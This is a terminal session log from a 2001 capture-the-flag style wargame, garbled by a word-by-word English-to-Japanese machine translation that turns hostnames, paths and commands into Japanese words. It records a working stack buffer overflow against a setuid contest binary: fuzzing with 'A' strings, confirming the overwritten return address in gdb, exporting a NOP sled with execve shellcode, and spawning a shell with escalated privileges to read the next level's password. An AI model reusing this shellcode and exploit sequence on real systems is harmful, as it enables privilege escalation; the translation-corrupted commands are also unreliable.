このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
Script started on Mon Dec 24 08:04:10 2001 恐れる:0:level4$ telnet 切り開く/タクシー/不正アクセス.datafort.逮捕する Trying 213.132.58.103... Connected to 切り開く/タクシー/不正アクセス.datafort.逮捕する. Escape character is '^]'. FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp2) login: level4 Password: Last login: Tue Dec 18 22:35:43 from 61.37.177.27 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All 権利s reserved. FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001 You have mail. bash-2.05$ cd temp bash-2.05$ /contest/level5 bash-2.05$ /contest/level5 AAAA AAAAbash-2.05$ /contest/level5 AAAAAAAA Segmentation fault bash-2.05$ /contest/level5 `perl -e 'print "A" x 8'` Segmentation fault bash-2.05$ cp /contest/level5 . bash-2.05$ ./level5 `perl -e 'print "A" x 8'` Segmentation fault (核心 捨てるd) bash-2.05$ gdb -q ./level5 level5.核心 (no debugging symbols 設立する)...核心 was 生成するd by `level5'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0x8048413 in _start () (gdb) 支援する #0 0x8048413 in _start () Cannot 接近 memory at 演説(する)/住所 0x41414141. (gdb) やめる bash-2.05$ ./level5 `perl -e 'print "A" x 12'` Segmentation fault (核心 捨てるd) bash-2.05$ !gdb gdb -q ./level5 level5.核心 (no debugging symbols 設立する)...核心 was 生成するd by `level5'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0x41414141 in ?? () (gdb) やめる bash-2.05$ 輸出(する) EGG=`perl -e 'print "\x90" x 128 . "\x31\xc0\x50\x68//sh\x68/貯蔵所\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80"'` bash-2.05$ gcc -o gs /tmp/getshit.c bash-2.05$ ./gs bfbffce3 bash-2.05$ ./level5 `perl -e 'print "A" x 4 . "\xf0\xfc\xbf\xbf" x 2'` $ id uid=1004(level4) gid=1004(level4) groups=1004(level4) $ 出口 bash-2.05$ /contest/level5 `perl -e 'print "A" x 4 . "\xf0\xfc\xbf\xbf" x 2'` $ id uid=1004(level4) euid=1005(level5) gid=1004(level4) groups=1004(level4) $ pass The password for level5 is opqrt42 $ 出口 bash-2.05$ 出口 関係 の近くにd by foreign host. 恐れる:0:level4$ 出口 Script done on Mon Dec 24 08:08:18 2001